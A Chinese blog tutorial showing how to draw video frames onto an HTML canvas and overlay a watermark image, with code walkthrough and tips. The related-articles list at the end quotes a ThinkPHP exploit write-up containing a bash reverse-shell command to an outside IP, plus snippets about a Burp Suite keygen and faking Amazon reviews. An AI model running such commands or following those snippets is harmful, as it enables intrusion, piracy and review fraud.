canvas-视频绘制

news2024/11/14 18:52:25

通过Canvas元素来实时绘制一个视频帧,并在视频帧上叠加一个图片的功能可以当作水印。

  1. 获取Canvas元素

    let canvas = document.getElementById('canvas')

    通过getElementById函数获取页面中ID为canvas的Canvas元素,并将其存储在变量canvas中。

  2. 检查Canvas是否支持getContext方法

    if(canvas.getContext){

    检查Canvas元素是否支持getContext方法,这是绘制图形和图像的基础。

  3. 获取2D渲染上下文

    let context = canvas.getContext('2d')

    通过Canvas的getContext方法获取一个2D渲染上下文(context),用于后续的绘图操作。

  4. 获取按钮元素

    let btn = document.getElementById('btn')

    通过getElementById函数获取页面中ID为btn的按钮元素,并将其存储在变量btn中。

  5. 创建视频元素并设置其源

    let video = document.createElement("video")
    video.src = './视频-css/横版-原神-昼.mp4'

    动态创建一个video元素,并设置其src属性为指定视频文件的路径。注意,这里使用的是相对路径。

  6. 创建并设置图片元素

    let img = new Image()
    img.src = "./视频-css/BgSub_favicon.png"

    通过new Image()创建一个新的图片元素,并设置其src属性为指定图片的路径。同样,这里使用的是相对路径。

  7. 为按钮添加点击事件监听器

    btn.onclick = function(){
    video.play()
    render()
    }

    为按钮添加了一个点击事件监听器,当按钮被点击时,会调用video.play()来播放视频,并调用render函数开始绘制。

  8. 绘制函数(render

    function render(){
    context.drawImage(video,0,0,600,300)
    context.drawImage(img,30,30,80,80)
    requestAnimationFrame(render)
    }

    render函数负责绘制操作。首先,使用context.drawImage方法将视频帧绘制到Canvas上,并指定其位置和大小(0,0,600,300)。然后,在同一Canvas上绘制图片,并指定其位置和大小(30,30,80,80)。最后,使用requestAnimationFrame(render)实现动画效果,即不断调用render函数以更新Canvas上的图像。

  •  let video = document.querySelector("video"),可以通过querySelector获取页面中的视频元素,上面的为动态创建视频元素。
  • 由于视频加载和播放可能需要一些时间,因此在实际应用中,可能需要添加一些额外的逻辑来处理视频未就绪或未播放完成的情况。例如,可以在绘制前检查视频的readyState属性,或者监听视频的loadedmetadatacanplaythrough等事件。
  • 代码中使用的相对路径(如'./视频-css/横版-原神-昼.mp4')需要确保与HTML文件相对的位置正确,否则视频将无法加载。

下面是效果图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1973879.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

快速将网站从HTTP升级为HTTPS

在当今数字化的世界中,网络安全变的越来越重要,HTTPS(超文本传输安全协议)不仅能够提供加密的数据传输,还能增强用户信任度,提升搜索引擎排名,为网站带来多重益处。所以将网站从HTTP升级到HTTPS…

达利欧对话施一公:如何应对快速变化的世界?

本篇是对达利欧对话施一公:如何应对快速变化的世界?|凤凰《封面》这一视频的翻译与整理, 过程中为符合中文惯用表达有适当删改, 版权归原作者所有. 达利欧:我很兴奋,施教授和我有很多共同点,即使我们来自不…

DynamicDataSource多数据源的管理,动态新增切换数据源

文章目录 多数据源管理单数据源项目父工程版本与依赖yml配置文件实体类新增与修改时间MapperServiceController主启动类测试类 多数据源初始版yml配置文件配置类创建一个AbstractRoutingDataSourceController层测试 DynamicDataSource版本引入依赖yml配置文件Controller层Servi…

量化(Quantization)技术在实现边缘设备智能化中的关键作用

节选自论文《Edge AI: Quantization as the Key to On-Device Smartness》的第三节,由YN Dwith Chenna撰写,发表在2023年8月的《International Journal of Artificial Intelligence & Applications》上。论文主要探讨了边缘人工智能(Edge…

thinkphp之命令执行漏洞复现

实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …

【速解焦虑秘籍】5步助你轻松走出焦虑迷雾,拥抱自在生活!

在这个快节奏、高压力的时代,焦虑仿佛成了许多人难以摆脱的“隐形伴侣”。它悄无声息地侵入我们的生活,影响着我们的情绪、工作乃至人际关系。但别担心,今天就带你揭秘“走出焦虑症最快的方法”,通过以下五个实用步骤,…

地理科学专业| 中国大学排行榜(2024年)

地理科学专业| 中国大学排行榜(2024年) 原文链接

拓扑未来数据中台解决方案

概述 传统自动化控制往往聚焦于局部或模块,整体运作状态靠人工管理。缺乏从时间维度观察生产周期的手段,由于生产数据缺失,导致生产过程不透明,过程质量无记录,生产工艺难优化,生产效率难以提升。利用先进…

亚马逊F控期间,如何巧妙运用自养账号进行评价?

亚马逊每年都会经历一段风险控制周期,这一时期往往伴随着商品评价的删除和卖家账户的封禁,对此,经验丰富的卖家们已经习以为常。虽然表面上看是风险控制,但实际上亚马逊只是对消费者的购买行为进行记录。导致账户被封和评论被删除…

【Python】数据类型之详讲字符串(下)

本篇文章继续讲解字符串的功能: (7)字符串内容替换,得到一个新的字符串,原字符串不变。 功能:replace(str1,str2) str1和str2都是字符串,该功能是将字符串中的str1内容替换成str2. 代码举例&…

大模型与高能物理

人工智能大模型是什么?它和我们通常讲的机器学习、深度学习有什么关系?它有什么能力?它在高能物理可能有哪些方面的应用?今天我们浅浅讨论一下这些问题。 一 溯源:从人工智能到机器学习、深度学习和大模型 1 曲折发…

【KAN】【API教程】plot

初始化KAN和创建数据集 from kan import * # create a KAN: 2D inputs, 1D output, and 5 hidden neurons. cubic spline (k=3), 5 grid intervals (grid=5). model = KAN(width=[2,5,1], grid=3, k=3, seed=1)# create dataset f(x,y) = exp(sin(pi*x)+y^2) f = lambda x: to…

MacOS上如何优雅的使用Burp Suite Professional

MacOS上如何注册使用Burp Suite Professional 文章目录 MacOS上如何注册使用Burp Suite Professional一.如何下载二.安装BurpSuite三.注册四.启动五.创建可执行文件六.写在最后 一.如何下载 JDK官网下载 BurpSuite专业版官网下载 [注册机下载]( https://pan.baidu.com/s/10…

Google引领LLM竞赛:Gemini 1.5 Pro的创新与突破

在科技领域,语言模型(LLM, Large Language Model)的发展总是备受瞩目。多年来,Google在这场竞赛中一直处于追赶的状态,但这一次,他们终于站在了领先的位置。Google近日发布了Gemini 1.5 Pro实验版本&#x…

OpenAI API continuing conversation in a dialogue

题意:在对话中继续使用OpenAI API进行对话 问题背景: I am playing around with the openAI API and I am trying to continue a conversation. For example: 我正在尝试使用OpenAI API,并试图继续一段对话。例如: import open…

<数据集>航拍车辆识别数据集<目标检测>

数据集格式:VOCYOLO格式 图片数量:6787张 标注数量(xml文件个数):6787 标注数量(txt文件个数):6787 标注类别数:3 标注类别名称:[Car, Truck, Bus] 序号类别名称图片数框数1Car6494791332Truck250576…

【从零开始一步步学习VSOA开发】快速体验SylixOS

快速体验SylixOS 安装完毕RealEvo-IDE 后,同时也安装了RealEvo-Simulator。RealEvo-Simulator 是一个虚拟运行环境,可以模拟各种体系结构并在其上运行 SylixOS。相比于物理板卡,在 RealEvo-Simulator 进行运行调测更加的方便快捷且成本低廉。…

2024年中国数据中台行业研究报告

数据中台丨研究报告 核心摘要: 数据中台是企业数字化建设的重要构成,其通过整合企业基础设施和数据能力,实现数据资产化和服务复用,降低运营成本,支撑业务创新。受宏观经济影响,部分企业减少了对数据中台等…

java中InputStream, OutputStream 的用法

java针对文件的操作有两种1.文件系统操作 File类指定的路径可以使一个不存在的路径。2,文件内容操作,流对象。 流也分为两种1)字节流(二进制文件):以字节为基本单位读写的使用InputStream()和Ou…